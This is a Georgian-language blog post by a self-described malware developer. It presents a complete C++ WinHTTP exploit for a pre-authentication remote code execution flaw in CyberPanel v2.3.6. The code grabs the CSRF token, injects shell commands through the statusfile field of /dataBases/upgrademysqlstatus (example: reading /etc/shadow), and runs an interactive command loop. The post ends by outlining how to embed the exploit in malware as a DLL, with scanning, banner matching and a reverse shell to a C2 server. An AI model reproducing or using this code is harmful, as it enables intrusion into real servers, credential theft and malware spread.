Post

CyberPanel RCE ექსპლოიტი

CyberPanel RCE ექსპლოიტი

CyberPanel RCE ექსპლოიტი

შესავალი

მოკლედ, შემთხვევით აღმოვაჩინე კოდი, რომელიც CyberPanel v2.3.6 ვერსიაზე RCE(Remote Code Execution)-ის საშუალებას იძლევა. ამ პოსტში სწორედ ამ ქსპლოიტს განვიხილავ.

თვითონ ექსპლოიტი დაწერილია პითონში, მაგრამ როგორც Malware დეველოპერი, ამ ყველაფერს C++-ში გავაკეთებ, რადგან კოდი ვირუსს მოერგოს.

რა არის CyberPanel?

CyberPanel არის უფასო ვებ ჰოსტინგ პანელი. საკმაოდ ხშირად გამოიყენება ვებსაიტების ასაწევად, რადგან მარტივი გამოსაყენებელია და ბევრი რამის დამატების საშუალებას იძლევა სამართავ პანელზე.

მთავარი აქ ისაა, რომ ექსპლოიტი არის NoClick Pre-auth RCE, რაც ნიშნავს იმას, რომ ექსპლოიტს არ სჭირდება მსხვერპლისგან რაიმე სახის ინტერაქცია.

ექსპლოიტი

თავდაპირველად, საჭიროა ბიბლიოთეკების შემოტანა:

1
2
3
4
5
#include <windows.h>
#include <winhttp.h>

#include <iostream>
#include <string>

ამის შემდეგ, საჭიროა ბიბლიოთეკების სტატიკურად დალინკვა:

1
#pragma comment(lib, "winhttp.lib")

შემდეგ კი, რა თქმა უნდა, main(int argc, char* argv[]); ფუნქციის დეფინიციაა საჭირო:

1
2
3
int main(int argc, char* argv[]){
	return 0;
}

თავდაპირველად, საჭიროა ფუნქციის შექმნა, რომელიც სამიზნე სერვერიდან csrftoken “ქუქის” მიიღებს:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
std::wstring get_CSRF_token(HINTERNET hConnect) {
    HINTERNET hRequest = WinHttpOpenRequest(
        hConnect, L"GET", L"/", NULL, WINHTTP_NO_REFERER,
        WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE
    );

    if (!hRequest || !WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0) || !WinHttpReceiveResponse(hRequest, NULL)) {
        WinHttpCloseHandle(hRequest);

        return L"";
    }

    DWORD dwSize = 0;
    WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_SET_COOKIE, WINHTTP_HEADER_NAME_BY_INDEX, WINHTTP_NO_OUTPUT_BUFFER, &dwSize, WINHTTP_NO_HEADER_INDEX);
    std::wstring cookie(dwSize / sizeof(wchar_t), 0);
    WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_SET_COOKIE, WINHTTP_HEADER_NAME_BY_INDEX, &cookie[0], &dwSize, WINHTTP_NO_HEADER_INDEX);

    WinHttpCloseHandle(hRequest);

    size_t pos = cookie.find(L"csrftoken=");
    if (pos != std::wstring::npos) {
        size_t end = cookie.find(L";", pos);

        return cookie.substr(pos + 10, end - pos - 10);
    }

    return L"";
}

აქ ჩანს, რომ იგზავნება GET მოთხოვნა / “url”-ზე და შემდეგ, როდესაც სერვერისგან მოვა პასუხი, size_t pos ცვლადი მოითავსებს csrftoken=XXXXXXXX...-ს. შემდეგ, pos ცვლადი გაიპარსება და დაბრუნდება ქვეტექსტი(SubString), რომლის offset იქნება 10 ბაიტი სტარტიდან(csrftoken= რომ ამოიჭრას) და დასასრული იქნება ; სიმბოლომდე:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
                         ┌──────────┐                       
                         │CSRF_token│                       
                         └─────┬────┘                       
                               │                            
                               │                            
                               │                            
                      ┌────────┴────────┐                   
                      │                 │                   
                      │                 │                   
                      │                 │                   
                      │                 │                   
┌─────────────────────▼─────────────────▼──────────────────┐
│XXXXXXXXXX;csrftoken=XXXXXXXXXXXXXXXXXXX;XXXXXXXXXXXXXXXXX│
└──────────────────────────────────────────────────────────┘

ასევე დასაწერია pwn და exploit ფუნქციები, რომლებიც მიღებული csrf_token-ით ეცდებიან საიტის ექსპლუატაციას:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
std::wstring pwn(HINTERNET hConnect, const std::wstring& CSRF_token, const std::wstring& cmd) {
    HINTERNET hRequest = WinHttpOpenRequest(
        hConnect, L"PUT", L"/dataBases/upgrademysqlstatus", NULL,
        WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE
    );

    std::wstring headers = L"X-CSRFToken: " + CSRF_token + L"\r\n"
        L"Content-Type: application/json\r\n";
    std::wstring payload = L"{\"statusfile\":\"/dev/null; " + cmd + L"; #\",\"csrftoken\":\"" + CSRF_token + L"\"}";

    if (!WinHttpSendRequest(hRequest, headers.c_str(), headers.length(), (LPVOID)payload.c_str(), payload.length() * sizeof(wchar_t), payload.length() * sizeof(wchar_t), 0) || !WinHttpReceiveResponse(hRequest, NULL)) {
        WinHttpCloseHandle(hRequest);

        return L"";
    }

    DWORD dwSize = 0, dwDownloaded = 0;
    std::wstring response;
    do {
        WinHttpQueryDataAvailable(hRequest, &dwSize);
        if (dwSize > 0) {
            wchar_t* buffer = new wchar_t[dwSize / sizeof(wchar_t) + 1];
            ZeroMemory(buffer, dwSize + sizeof(wchar_t));

            WinHttpReadData(hRequest, (LPVOID)buffer, dwSize, &dwDownloaded);
            response.append(buffer, dwDownloaded / sizeof(wchar_t));

            delete[] buffer;
        }
    } while (dwSize > 0);

    WinHttpCloseHandle(hRequest);

    return response;
}

void exploit(const std::wstring& target, const std::wstring& cmd) {
    HINTERNET hSession = WinHttpOpen(L"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    if (!hSession) {
        return;
    }

    HINTERNET hConnect = WinHttpConnect(hSession, target.c_str(), INTERNET_DEFAULT_HTTPS_PORT, 0);
    if (!hConnect) {
        WinHttpCloseHandle(hSession);

        return;
    }

    std::wstring CSRF_token = get_CSRF_token(hConnect);
    if (CSRF_token.empty()) {
        WinHttpCloseHandle(hConnect);
        WinHttpCloseHandle(hSession);

        return;
    }

    std::wstring result = pwn(hConnect, CSRF_token, cmd);
    std::wcout << result << std::endl;

    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
}

exploit ფუნქცია იყენებს pwn ფუნქციას std::wstring result = pwn(hConnect, CSRF_token, cmd); ნაწილში. აქ ყველაზე საინტერესო არის payload, რომელიც არის ის ინფო, რომელიც მიდის სამიზნე სერვერთან:

1
std::wstring payload = L"{\"statusfile\":\"/dev/null; " + cmd + L"; #\",\"csrftoken\":\"" + CSRF_token + L"\"}";

დაკვირვების შედეგად ჩანს, რომ ინფორმაცია არის JSON ტიპის მონაცემი და მთლიანად რომ ავაწყო, ასეთი რამ გამოვა:

1
2
3
4
{
	"statusfile": "/dev/null; cat /etc/shadow; #",
	"csrftoken": "46eff9c40c47c73ed48430ce18f1e9796ab2fd681b875d97e441afa2c7ece762"
}

რა თქმა უნდა, cat /etc/shadow და 46eff9c40c47c73ed48430ce18f1e9796ab2fd681b875d97e441afa2c7ece762 მაგალითებია.

# სიმბოლო Shell scripting ენაში(Bash) არის კომენტარი და ამ შემთხვევაში გამოიყენება იმისთვის, რომ მომდევნო ბრძანებები ამოიშალოს. /dev/null კი მაშინ გამოიყენება ყველაზე ხშირად, როდესაც ბრძანების სტანდარტული პასუხის(STDOUT), დადუმება არის საჭირო.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int main(int argc, wchar_t* argv[]) {
    if (argc < 2) {
        std::cout << "Usage: explt.exe <target>" << std::endl;

        return 1;
    }

    std::wstring target = argv[1];
    while (true) {
        std::wstring cmd;
        std::wcout << L"$> ";
        std::getline(std::wcin, cmd);

        exploit(target, cmd);
    }

    return 0;
}

ეს კი არის მთავარი ფუნქცია, საიდანაც გაეშვება ექსპლოიტი.

ეს არის ზოგადი მოდული და, რა თქმა უნდა, ამ კოდის მავნე პროგრამაში ჩაშენება არ გამოვა. აქ გარკვეული ცვლილებელია საჭირო. მაგალითად, main(int argc, wchar_t* argv[]){ ... return 0; } ფუნქცია არ უნდა იყოს და ეს ფუნქციები მაგალითად, ცალკე, მავნე .dll ფაილში უნდა იყოს.

კოდთან დაკავშირებული პრობლემები

იმის გამო, რომ HTTP არ გვაძლევს რეალურ დროში კომუნიკაციის საშუალებას(როგორც სოკეტები და ვებსოკეტები), გამოდის, რომ interactive shell ვერ იქნება მიღებული ამ ექსპლოიტიდან. მაგრამ, რა თქმა უნდა, ასეთი სახის წვდომაც საკმარისია სერვერზე, რადგან შესაძლებელია ისეთი კოდის ატვირთვა, რომელიც interactive reverse shell-ს წამოიღებს სერვერიდან.

ასევე, ამ კოდს არ აქვს 80/TCP პორტის გარდა, სხვა პორტის გამოყენების საშუალება, ასე, რომ ესეც შესაცვლელია თუ საქმე მავნე კოდში ჩანერგვამდე მივიდა.

როგორ შეიძლება მავნე კოდმა ექსპლოიტი გამოიყენოს?

როდესაც საქმე Malware-ს ეხება, ყველაფერი იცვლება. მავნე კოდმა თვითონ უნდა აღმოაჩინოს სამიზნე სერვერები. ასე, რომ საჭირო იქნება მავნე კოდში Port Scan და Host/Endpoint discovery ლოგიკის ჩაშენება და ღია პორტებიდან ბანერების ანალიზი. თუ ბანერში ტექსტი CyberPanel იქნება ნაპოვნი, მაშინ ექსპლოიტის მორგებას ეცდება კოდი. თუ ექსპლოიტმა იმუშავა, მაშინ “ნიჯარის”(Shell) გადმომისამართება უნდა მოხდეს C2 სერვერზე, საიდანაც ჰაკერი შეძლებს ჰოსტთან კომუნიკაციას.

1.png

This post is licensed under CC BY 4.0 by the author.